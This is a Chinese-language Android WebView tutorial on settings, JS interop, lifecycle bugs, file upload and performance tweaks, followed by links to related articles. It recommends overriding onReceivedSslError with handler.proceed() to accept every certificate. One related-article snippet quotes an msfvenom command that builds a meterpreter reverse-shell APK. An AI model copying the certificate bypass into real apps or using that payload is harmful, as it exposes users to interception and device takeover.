    2)对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript。

    // 需要使用 file 协议
    setAllowFileAccess(true); 
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    
    // 禁止 file 协议加载 JavaScript
    if (url.startsWith("file://") {
        setJavaScriptEnabled(false);
    } else {
        setJavaScriptEnabled(true);
    }
    复制代码

    ⇒ 四、安卓通过WebView和js交互

    Android与js通过WebView互相调用方法,二者沟通的桥梁是WebView,实际上是:

    • Android去调用JS的代码
    • JS去调用Android的代码

    对于 Android调用JS代码 的方法有2种: 1. 通过WebView的loadUrl() 2. 通过WebView的evaluateJavascript()

    对于 JS调用Android代码 的方法有3种: 1. 通过WebView的addJavascriptInterface()进行对象映射 2. 通过 WebViewClient 的shouldOverrideUrlLoading ()方法回调拦截 url 3. 通过 WebChromeClient 的onJsAlert()、onJsConfirm()、onJsPrompt()方法回调拦截JS对话框alert()、confirm()、prompt() 消息

    ⇒ 五、WebView 的缓存机制 & 资源预加载方案

    ⇒ 六、WebView的那些坑(我自己整理收集的)

    (1) 为什么Webview打开一个页面,播放一段音乐,退出Activity时音乐还在后台播放?

    ◆◆ 解决方案 1:

    //销毁Webview
    @Override
    protected void onDestroy() {
        if (mWebview != null) {
            mWebview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            mWebview.clearHistory();
            ((ViewGroup) mWebview.getParent()).removeView(mWebview);
            mWebview.destroy();
            mWebview = null;
        }
        super.onDestroy();
    }
    复制代码

    还有别问我为什么要移除,等你Error: WebView.destroy() called while still attached!之后你就知道了。

    ◆◆ 解决方案 2:

    @Override
    protected void onPause() {
       h5_webview.onPause();
       h5_webview.pauseTimers();
       super.onPause();
    }
    @Override
    protected void onResume() {
       h5_webview.onResume();
       h5_webview.resumeTimers();
       super.onResume();
    }
    复制代码

    Webview的onPause()方法官网是这么解释的:

       Does a best-effort attempt to pause any processing that can be paused safely, such as animations
    and geolocation. Note that this call does not pause JavaScript. To pause JavaScript globally, use 
    pauseTimers(). To resume WebView, call onResume().  
    【翻译:】通知内核尝试停止所有处理,如动画和地理位置,但是不能停止Js,如果想全局停止Js,
    可以调用pauseTimers()全局停止Js,调用onResume()恢复。
    复制代码

    (2) 怎么用网页的标题来设置自己的标题栏?

    ◆◆ 解决方案:

    WebChromeClient mWebChromeClient = new WebChromeClient() {    
        @Override    
        public void onReceivedTitle(WebView view, String title) {    
            super.onReceivedTitle(view, title);    
            txtTitle.setText(title);    
        }    
    };  
    mWedView.setWebChromeClient(mWebChromeClient());
    复制代码

    ★★ 注意事项:

    ●   1.可能当前页面没有标题,获取到的是null,那么你可以在跳转到该Activity的时候自己带一个标题,或者有一个默认标题。
    ●   2.在一些机型上面,Webview.goBack()后,这个方法不一定会调用,所以标题还是之前页面的标题。那么
    你就需要用一个ArrayList来保持加载过的url,一个HashMap保存url及对应的title.然后就是用WebView.canGoBack()来做判断处理了。
    复制代码

    (3) 为什么打包之后JS调用失败(或者WebView与JavaScript相互调用时,如果是debug没有配置混淆时,调用时没问题的,但是当设置混淆后发现无法正常调用了)?

    ◆◆ 解决方案:在proguard-rules.pro中添加混淆。

    -keepattributes *Annotation*  
    -keepattributes *JavascriptInterface*
    -keep public class org.mq.study.webview.DemoJavaScriptInterface{
       public <methods>;
    }
    #假如是内部类,混淆如下:
    -keepattributes *JavascriptInterface*
    -keep public class org.mq.study.webview.webview.DemoJavaScriptInterface$InnerClass{
        public <methods>;
    }
    
    其中org.mq.study.webview.DemoJavaScriptInterface 是不需要混淆的类名
    复制代码

    (4) 5.0 以后的WebView加载的链接为Https开头,但是链接里面的内容,比如图片为Http链接,这时候,图片就会加载不出来,怎么解决?

    ★★ 原因分析:原因是Android 5.0上Webview默认不允许加载Http与Https混合内容:

    ◆◆ 解决方案:

     if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { 
        //两者都可以
        webSetting.setMixedContentMode(webSetting.getMixedContentMode());
        //mWebView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
    }
    复制代码

    ★★ 参数说明:

    ●   MIXED_CONTENT_ALWAYS_ALLOW 允许从任何来源加载内容,即使起源是不安全的;
    ●   MIXED_CONTENT_NEVER_ALLOW 不允许Https加载Http的内容,即不允许从安全的起源去加载一个不安全的
        资源;
    ●   MIXED_CONTENT_COMPLTIBILITY_MODE 当涉及到混合式内容时,WebView会尝试去兼容最新Web浏览器的
        风格;
    复制代码

    另外:在认证证书不被Android所接受的情况下,我们可以通过设置重写WebViewClient的onReceivedSslError方法在其中设置接受所有网站的证书来解决,具体代码如下:

    webView.setWebViewClient(new WebViewClient() {
            @Override
            public void onReceivedSslError(WebView view,
                    SslErrorHandler handler, SslError error) {
                //super.onReceivedSslError(view, handler, error);注意一定要去除这行代码,否则设置无效。
                // handler.cancel();// Android默认的处理方式
                handler.proceed();// 接受所有网站的证书
                // handleMessage(Message msg);// 进行其他处理
            }
    });
    复制代码

    (5) WebView调用手机系统相册来上传图片,开发过程中发现在很多机器上无法正常唤起系统相册来选择图片。怎么解决?

    ★★ 原因分析:因为Google攻城狮们对setWebChromeClient的回调方法openFileChooser做了多次修改,5.0以下openFileChooser有几种重载方法,在5.0以上将回调方法该为了onShowFileChooser。

    ◆◆ 解决方案:为了兼容各个版本,我们需要对openFileChooser()进行重载,同时针对5.0及以上重写onShowFileChooser()方法:

    上一段示例代码,给大家看看:

    public class MainActivity extends AppCompatActivity {
    
    private ValueCallback<Uri> uploadMessage;
    private ValueCallback<Uri[]> uploadMessageAboveL;
    private final static int FILE_CHOOSER_RESULT_CODE = 10000;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    
        WebView webview = (WebView) findViewById(R.id.web_view);
        assert webview != null;
        WebSettings settings = webview.getSettings();
        settings.setUseWideViewPort(true);
        settings.setLoadWithOverviewMode(true);
        settings.setJavaScriptEnabled(true);
        webview.setWebChromeClient(new WebChromeClient() {
    
            //  android 3.0以下:用的这个方法
            public void openFileChooser(ValueCallback<Uri> valueCallback) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }
    
            // android 3.0以上,android4.0以下:用的这个方法
            public void openFileChooser(ValueCallback valueCallback, String acceptType) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }
    
            //android 4.0 - android 4.3  安卓4.4.4也用的这个方法
            public void openFileChooser(ValueCallback<Uri> valueCallback, String acceptType, 
                            String capture) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }
    
            //android4.4 无方法。。。
    
            // Android 5.0及以上用的这个方法
            @Override
            public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> 
                     filePathCallback, WebChromeClient.FileChooserParams fileChooserParams) {
                uploadMessageAboveL = filePathCallback;
                openImageChooserActivity();
                return true;
            }
        });
        String targetUrl = "file:///android_asset/up.html";
        webview.loadUrl(targetUrl);
    }
    
    private void openImageChooserActivity() {
        Intent i = new Intent(Intent.ACTION_GET_CONTENT);
        i.addCategory(Intent.CATEGORY_OPENABLE);
        i.setType("image/*");
        startActivityForResult(Intent.createChooser(i, "Image Chooser"),
                      FILE_CHOOSER_RESULT_CODE);
    }
    
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == FILE_CHOOSER_RESULT_CODE) {
            if (null == uploadMessage && null == uploadMessageAboveL) return;
            Uri result = data == null || resultCode != RESULT_OK ? null : data.getData();
            if (uploadMessageAboveL != null) {
                onActivityResultAboveL(requestCode, resultCode, data);
            } else if (uploadMessage != null) {
                uploadMessage.onReceiveValue(result);
                uploadMessage = null;
            }
        }
    }
    
    @TargetApi(Build.VERSION_CODES.LOLLIPOP)
    private void onActivityResultAboveL(int requestCode, int resultCode, Intent intent) {
        if (requestCode != FILE_CHOOSER_RESULT_CODE || uploadMessageAboveL == null)
            return;
        Uri[] results = null;
        if (resultCode == Activity.RESULT_OK) {
            if (intent != null) {
                String dataString = intent.getDataString();
                ClipData clipData = intent.getClipData();
                if (clipData != null) {
                    results = new Uri[clipData.getItemCount()];
                    for (int i = 0; i < clipData.getItemCount(); i++) {
                        ClipData.Item item = clipData.getItemAt(i);
                        results[i] = item.getUri();
                    }
                }
                if (dataString != null)
                    results = new Uri[]{Uri.parse(dataString)};
            }
        }
        uploadMessageAboveL.onReceiveValue(results);
        uploadMessageAboveL = null;
    }
    复制代码

    }


    重点坑:针对Android4.4,系统把openFileChooser方法去掉了,怎么解决?

    详情请见 博客 http://blog.csdn.net/xiexie758/article/details/52446937 我这里就不多说了。

    (6) WebView调用手机系统相册来上传图片,处理好第六点说的方法,我们打好release包测试的时候却又发现还是没法选择图片了。怎么解决?

    ★★ 原因分析:无奈去翻WebChromeClient的源码,发现openFileChooser()是系统API,我们的release包是开启了混淆的,所以在打包的时候混淆了openFileChooser(),这就导致无法回调openFileChooser()了。

    ◆◆ 解决方案也很简单,直接不混淆openFileChooser()就好了。

    -keepclassmembers class * extends android.webkit.WebChromeClient{
       public void openFileChooser(...);
    }
    复制代码

    (7)怎么在 WebView 中长按保存图片?

    1. 给 WebView添加监听

    mWebview.setOnLongClickListener(new View.OnLongClickListener() {
        @Override
        public boolean onLongClick(View v) {
        }
    });
    复制代码

    2. 获取点击的图片地址

    先获取类型,根据相应的类型来处理对应的数据。

    //首先判断点击的类型
    WebView.HitTestResult result = ((WebView) v).getHitTestResult();
    int type = result.getType();
    
    //获取具体信息,图片这里就是图片地址
    String imgurl = result.getExtra();
    复制代码

    type有这几种类型:

    • WebView.HitTestResult.UNKNOWN_TYPE 未知类型
    • WebView.HitTestResult.PHONE_TYPE 电话类型
    • WebView.HitTestResult.EMAIL_TYPE 电子邮件类型
    • WebView.HitTestResult.GEO_TYPE 地图类型
    • WebView.HitTestResult.SRC_ANCHOR_TYPE 超链接类型
    • WebView.HitTestResult.SRC_IMAGE_ANCHOR_TYPE 带有链接的图片类型
    • WebView.HitTestResult.IMAGE_TYPE 单纯的图片类型
    • WebView.HitTestResult.EDIT_TEXT_TYPE 选中的文字类型

    3. 操作图片

    你可以弹出保存图片,或者点击之后跳转到显示图片的页面。

    最后整理一下代码:

    mWebView.setOnLongClickListener(new View.OnLongClickListener() {
        @Override
        public boolean onLongClick(View v) {
            WebView.HitTestResult result = ((WebView)v).getHitTestResult();
            if (null == result)
                return false;
            int type = result.getType();
            if (type == WebView.HitTestResult.UNKNOWN_TYPE)
                return false;
    
            // 这里可以拦截很多类型,我们只处理图片类型就可以了
            switch (type) {
                case WebView.HitTestResult.PHONE_TYPE: // 处理拨号
                    break;
                case WebView.HitTestResult.EMAIL_TYPE: // 处理Email
                    break;
                case WebView.HitTestResult.GEO_TYPE: // 地图类型
                    break;
                case WebView.HitTestResult.SRC_ANCHOR_TYPE: // 超链接
                    break;
                case WebView.HitTestResult.SRC_IMAGE_ANCHOR_TYPE:
                    break;
                case WebView.HitTestResult.IMAGE_TYPE: // 处理长按图片的菜单项
                    // 获取图片的路径
                    String saveImgUrl = result.getExtra();
    
                    // 跳转到图片详情页,显示图片
                    Intent i = new Intent(MainActivity.this, ImageActivity.class);
                    i.putExtra("imgUrl", saveImgUrl);
                    startActivity(i);
                    break;
                default:
                    break;
            }
        }
    });
    复制代码

    (8) WebView 开启硬件加速导致的问题?

    WebView有很多问题,比如:不能打开pdf,播放视屏也只能打开硬件加速才能支持,在某些机型上会崩溃。 下面看一下硬件加速, 硬件加速 分为四个级别:

    • Application级别
         <application android:hardwareAccelerated="true"...>
    复制代码
    • Activity级别
         <activity android:hardwareAccelerated="true"...>
    复制代码
    • window级别(目前为止,Android还不支持在Window级别关闭硬件加速。)
        getWindow().setFlags(
             WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
             WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
    复制代码
    • View级别
         view.setLayerType(View.LAYER_TYPE_HARDWARE, null);
    复制代码

    WebView开启硬件加速导致屏幕花屏问题的解决:

    ★★ 原因分析: 4.0以上的系统我们开启硬件加速后,WebView渲染页面更加快速,拖动也更加顺滑。但有个副作用就是,当WebView视图被整体遮住一块,然后突然恢复时(比如使用SlideMenu将WebView从侧边滑出来时),这个过渡期会出现白块同时界面闪烁。

    ◆◆ 解决方案: 在过渡期前将WebView的硬件加速临时关闭,过渡期后再开启,代码如下:

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
            webview.setLayerType(View.LAYER_TYPE_SOFTWARE, null);
        }
    复制代码

    Android 4.0+ 版本中的EditText字符重叠问题: 做的软件,在一些机器上,打字的时候,EditText中的内容会出现重叠,而大部分机器没有,所以感觉不是代码的问题,一直没有头绪。

    出现原因:JellyBean的硬件加速bug,在此我们关掉硬件加速即可。 解决方案:在EditText中加入一句:

    android:layerType=”software”  
    复制代码

    图片无法显示: 做的程序里有的时候会需要加载大图,但是硬件加速中 OpenGL对于内存是有限制的。如果遇到了这个限制,LogCat只会报一个Warning: Bitmap too large to be uploaded into a texture (587x7696, max=2048x2048)

    这时我们就需要把硬件加速关闭了。 但开始我是这样处理的,我关闭了整个应用的硬件加速:

    <application  
        android:allowBackup="true"  
        android:icon="@drawable/ic_launcher"  
        android:hardwareAccelerated="false"  
        android:label="@string/app_name"  
        android:theme="@style/AppTheme" >  
    复制代码

    随后我就发现,虽然图片可以显示了,但是ListView和WebView等控件显得特别的卡,这说明硬件加速对于程序的性能提升是很明显的。所以我就改为对于Activity的关闭。

    <activity  
        android:name="icyfox.webviewimagezoomertest.MainActivity"  
        android:label="@string/app_name"  
        android:hardwareAccelerated="false"  
    复制代码

    (9) ViewPager里非首屏WebView点击事件不响应是什么原因?

      如果你的多个WebView是放在ViewPager里一个个加载出来的,那么就会遇到这样的问题。ViewPager首屏WebView的创建是在前台,点击时没有问题;而其他非首屏的WebView是在后台创建,滑动到它后点击页面会出现如下错误日志:

    20955-20968/xx.xxx.xxx E/webcoreglue﹕ Should not happen: no rect-based-test nodes found
    复制代码

    ◆◆ 解决方案: 这个问题的办法是继承WebView类,在子类覆盖onTouchEvent方法,填入如下代码:

    @Override
    public boolean onTouchEvent(MotionEvent ev) {
        if (ev.getAction() == MotionEvent.ACTION_DOWN) {
            onScrollChanged(getScrollX(), getScrollY(), getScrollX(), getScrollY());
        }
        return super.onTouchEvent(ev);
    }
    复制代码

    ⇒ 七、安卓8.0关于WebView的新特性(自己整理收集的)

    WebView新增了一些非常有用的API,可以使用和chrome浏览器类似的API来实现对恶意网站的检测来保护web浏览的安全性,为此需要在manifest中添加如下meta-data标签:

    <manifest>
    <meta-data
        android:name="android.webkit.WebView.EnableSafeBrowing"
        android:value="true" />
    <!-- ... -->
    </manifest>
    复制代码

    WebView还增加了关于多进程的API,可以使用多进程来增强安全性和健壮性,如果render进程崩溃了,你还可以使用Termination Handler API来检测到崩溃并做出相应处理。


    ★ 另外,我还有一点话是要想说的:(自己整理收集的)

    ★ 关于WebView的一点小优化:

    (1)给WebView加一个加载进度条

      用Webview加载一个网页时,如果加载时间长,界面会一直空白,体验不太好,所以加个进度条更好看一下,主流APP也都有进度条效果,大概思路我来说一下:   首先自定义一个HorizontalProgressView继承View,然后自定义一个MyWebView继承WebView,然后初始化的时候通过addView方法把前面自定义HorizontalProgressView,然后在MyWebView里面写一个内部类继承WebChromeClient,大致代码如下:

    private class MyWebCromeClient extends WebChromeClient {
        @Override
        public void onProgressChanged(WebView view, int newProgress) {
            if (newProgress == 100) {
                //加载完毕进度条消失
                progressView.setVisibility(View.GONE);
            } else {
                //更新进度
                progressView.setProgress(newProgress);
            }
            super.onProgressChanged(view, newProgress);
        }
    }
    复制代码

    主要是通过MyWebCromeClient 的onProgressChanged方法里面的进度值调用 progressView.setProgress()方法去更新进度条,当加载100%的时候让进度条消失。 具体实现你们自己去处理吧。

    (2)加快HTML网页加载完成的速度,等页面finish再加载图片

      默认情况html代码下载到WebView后,webkit开始解析网页各个节点,发现有外部样式文件或者外部脚本文件时,会异步发起网络请求下载文件,但如果在这之前也有解析到image节点,那势必也会发起网络请求下载相应的图片。在网络情况较差的情况下,过多的网络请求就会造成带宽紧张,影响到css或js文件加载完成的时间,造成页面空白loading过久。解决的方法就是告诉WebView先不要自动加载图片,等页面finish后再发起图片加载。

    ◆◆ 解决办法:

    在WebView初始化时设置如下代码:

    public void int () {
        if(Build.VERSION.SDK_INT >= 19) {
            webView.getSettings().setLoadsImagesAutomatically(true);
        } else {
            webView.getSettings().setLoadsImagesAutomatically(false);
        }
    }
    复制代码

    同时在WebView的WebViewClient实例中的onPageFinished()方法添加如下代码:

    @Override
    public void onPageFinished(WebView view, String url) {
        if(!webView.getSettings().getLoadsImagesAutomatically()) {
            webView.getSettings().setLoadsImagesAutomatically(true);
        }
    }
    复制代码

    (3)自定义WebView页面加载出错界面

      当WebView加载页面出错时(一般为404 NOT FOUND),安卓WebView会默认显示一个卖萌的出错界面。但我们怎么能让用户发现原来我使用的是网页应用呢,我们期望的是用户在网页上得到是如原生般应用的体验,那就先要从干掉这个默认出错页面开始。当WebView加载出错时,我们会在WebViewClient实例中的onReceivedError()方法接收到错误,我们就在这里做些手脚:

    @Override
    public void onReceivedError (WebView view, int errorCode, String description, String failingUrl) {
        super.onReceivedError(view, errorCode, description, failingUrl);
        loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
        mErrorFrame.setVisibility(View.VISIBLE);
    }
    复制代码

      从上面可以看出,我们先使用loadDataWithBaseURL清除掉默认错误页内容,再让我们自定义的View得到显示(mErrorFrame为蒙在WebView之上的一个LinearLayout布局,默认为View.GONE)。

    (4) 怎么知道WebView是否已经滚动到页面底端?

    ◆◆ 解决方案:

    • 方案1,使用原生WebView的api可以获取到:
        if (mWebView.getContentHeight() * mWebView.getScale()  == (mWebView.getHeight() + 
        mWebView.getScrollY())) {
            //说明已经到底了
        }
    复制代码
    • 方案2,继承WebView,重写onScrollChanged方法:   我们在做上拉加载下一页这样的功能时,也需要知道当前页面滚动条所处的状态,如果快到底部,则要发起网络请求数据更新网页。同样继承WebView类,在子类覆盖onScrollChanged方法。   以下代码中mCurrContentHeight用于记录上次触发时的网页高度,用来防止在网页总高度未发生变化而目标区域发生连续滚动时会多次触发TODO,mThreshold是一个阈值,当页面底部距离滚动条底部的高度差<=这个值时会触发TODO里面的代码。

    具体如下:

    @Override
    protected void onScrollChanged(int newX, int newY, int oldX, int oldY) {
        super.onScrollChanged(newX, newY, oldX, oldY);
        if (newY != oldY) {
            float contentHeight = getContentHeight() * getScale();
            // 当前内容高度下从未触发过, 浏览器存在滚动条且滑动到将抵底部位置
            if (mCurrContentHeight != contentHeight && newY > 0 && contentHeight <= newY + getHeight() + mThreshold) {
                // TODO Something...
                mCurrContentHeight = contentHeight;
            }
        }
    }
    复制代码

    ★★ 相关API介绍:

    ●   getContentHeight() @return the height of the HTML content
    ●   getScale() @return the current scale
    ●   getHeight() @return The height of your view
    ●   getScrollY() @return The top edge of the displayed part of your view, in pixels.
    复制代码

    (5) 怎么知道WebView是否存在滚动条?

      当我们做类似上拉加载下一页这样的功能的时候,页面初始的时候需要知道当前WebView是否存在纵向滚动条,如果有则不加载下一页,如果没有则加载下一页直到其出现纵向滚动条。   首先继承WebView类,在子类添加下面的代码:

    public boolean existVerticalScrollbar () {
        return computeVerticalScrollRange() > computeVerticalScrollExtent();
    }
    复制代码

      computeVerticalScrollRange得到的是可滑动的最大高度,computeVerticalScrollExtent得到的是滚动把手自身的高,当不存在滚动条时,两者的值是相等的。当有滚动条时前者一定是大于后者的。


    参考博文: http://blog.csdn.net/carson_ho/article/details/64904691 http://bbs.csdn.net/topics/390905615 http://blog.csdn.net/cyuyanshujujiegou/article/details/52267817

    展开全文
  • H5与原生通讯之二 (DSBrige,H5,IOS,Android源码实例)H5和natvie通讯方式简介1.H5和IOS通讯2.H5和Android通讯H5和natvie通讯具体实现1.通过DSBrige方式1.1 H5和IOS1.2 H5和android2.通过JSBrige方式2.1 H5和IOS...
  • iOS 之苹果运行机制总结

    万次阅读 2017-08-04 08:49:49
    解释一下iOS内存机制,为什么iOS的RAM一直都是最少的但iOS却又是最最流畅的。大神请直接忽略此帖,仅希望小白们看过后不会再因为担心iPad内存不足而到处纠结1G RAM 2G RAM了那档子事了...这些帖子楼主看得眼睛都疼了...
  • 转自:http://www.cnblogs.com/tdalcn/p/3467445.html MainActivity   package com.test.intentdemo;...import android.app.Activity;...import android.content.Intent;...import android.n
  • 在程序开发过程当中,常遇到需要启动另一个应用程序的情况,比如在点击软件的一个按钮可以打开地图软件。如果既有包名又有主类的名字,那就好 办了,... intent.addCategory(Intent.CATEGORY_LAUNCHER); Component...
  • ***Android手机

    2017-03-10 09:14:29
    root@kali:~# msfvenom -pandroid/meterpreter/reverse_tcp lhost=192.168.1.117 -o /root/morefun.apkNo platform was selected, choosingMsf::Module::Platform::Android from the payloadNo Arch sele...
  • unity开发android游戏(一)搭建Unity安卓开发环境

    万次阅读 多人点赞 2014-03-23 16:14:38
    1,下载安装Java的JDK:...2,下载安装Android Studio:Google已经逐步转向Android studio了,我也比较推荐用这种来开发。ps. 2014年刚写这篇文章的时候,用的...
  • 14天学会安卓开发_(完整版) 从零开始学android开发

    千次下载 热门讨论 2013-07-24 15:09:52
    如何把一本书读薄,是一件值得思考的问题.相信看过那本书的都知道有500页,哪里才是重点...本书针对有JAVA基础的孩纸们,基本JAVA基础都没的,赶紧去找21天学会JAVA回去从头开始学,或者找一本从零开始学android开发看也行.
  • 2019安卓开发环境配置教程(Eclipse+Android Studio)题外话面对的疑问功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定...
  • Android安卓开发常用的布局

    千次阅读 2017-12-28 16:04:22
    前言布局是安卓开发中很基础的部分,作为移动开发的初学者,我也在不断的学习进步中~正文文件的位置一般都在layout文件夹内。一个布局文件,一般对应一个Activity,在代码中通过setContentView(R.layout.first_layout...
  • 安装环境:Win10 专业版,64位 第一步:安装前准备 1. 安装JDK JDK 下载地址:...这里我下载的是1.8 版本 ...注意:在下载JDK版本的时候,要和后面下载的SDK版本一致,若不一致可能会导致SD...
  • Eclipse+ADT+Android SDK 搭建安卓开发环境 安装JDK 这里可以参考我之前写的一篇关于安装JDK的教程, 请看下面链接吧。 http://www.cnblogs.com/j839035067/p/6566151.html 安装Eclipse Ec...
  • 搭建android应用开发环境
  • 使用 Android Studio 搭建安卓开发环境

    千次阅读 2019-09-15 20:36:23
    使用 Android Studio 搭建安卓开发环境,方便、快捷。因为 Android SDK 等下载已经集成到Android Studio 的安装中 1、官网下载Android Studio 编辑器 首先,访问谷歌中国开发者网站下载Android Studio 编辑器:...
  • 安卓开发-Android Studio-前端-设置按钮和点击事件

    万次阅读 多人点赞 2018-08-27 20:48:07
    安卓开发-Android Studio-前端-设置按钮和点击事件 1.新建一个ButtonActivity文件  . 2.在MainActivity中声明 package com.example.ayb.helloworld; import android.content.Intent; import android.support....
  • 安卓 Android开发简单小应用(一)

    万次阅读 多人点赞 2018-06-23 14:52:09
    安卓 Android开发简单小应用(一) 一、简述  记 --没学过Android开发简单小应用。(课程设计作业)  例子打包:链接:https://pan.baidu.com/s/1LEQ1oWkUX8OmtfCFVydxWQ 密码:9o0d 二、环境搭建 软件打包:...
  • 看我是如何快速学习android开发的(一)

    万次阅读 多人点赞 2018-07-30 16:25:50
    因为项目需要,8月中旬开始决定做安卓的程序,所以马上就开始学习安卓方面的开发知识,把最近的学习实践经历和大家分享分享。不要一开始就下载一大堆资料,视频,然后就不知道做什么了,要给自己定
  • 最近开接触Android(安卓)嵌入式开发,首要问题是搭建Andoid开发环境,由于本人用的是windows7的笔记本,也就只能到Windows中搭建Android 开发环境了! 就搭建环境都花了比较长的时间, 在各种版本之间折腾了比较久的...
  • Android开发必备工具

    千次阅读 多人点赞 2020-03-29 17:59:06
    工欲善其事,必先利其器,在...Android程序员的吃饭工具,可以说现在绝大部分的安卓项目都是跑在Android Studio上面的。Android Studio 是基于 IntelliJ IDEA 且适用于开发 Android 应用的官方集成开发环境 (IDE...
  • android:theme="@style/AppTheme" 系统自带主题: API 1: android:Theme 根主题 android:Theme.Black 背景黑色 android:Theme.Light 背景白色 android:Theme.Wallpaper 以桌面墙纸为背景 android:Th...
  • 2013年GoogleI/O大会首次发布了Android Studio IDE(Android平台集成开发环境)。它基于Intellij IDEA开发环境,旨在取代Eclipse和ADT(Android开发者工具)为开发者提供更好的开发工具。既然Google一直在努力推广,...
  • 1,下载安装Java的JDK: ...(JDK中,包含JRE) 如果是64位的系统,推荐安装64位的...2,下载安装Android Studio: 国内有不少镜像源(现在连百度软件里都有了),贴两个下载地址: 官方下载地址: https://developer.a...
  • eclipse搭建安卓开发环境

    万次阅读 多人点赞 2019-01-10 17:06:03
    总结起来,Android开发环境搭建可以分为以下四步: 第一步、安装JDK; 第二步、安装Eclipse; 第三步、下载并安装AndroidSDK; 第四步、为Eclipse安装ADT插件   下面详细介绍。 第一步、安装JDK Android...
  • android安卓开发入门视频教程资料讲解安卓核心基础,包含视频+笔记,适合新手入门学习。 百度网盘:https://pan.baidu.com/s/1uciMAAa97nm5RSLILtdPdg&shfl=sharepset ...

空空如也

1 2 3 4 5 ... 20
收藏数 2,926,800
精华内容 1,170,720
关键字:

安卓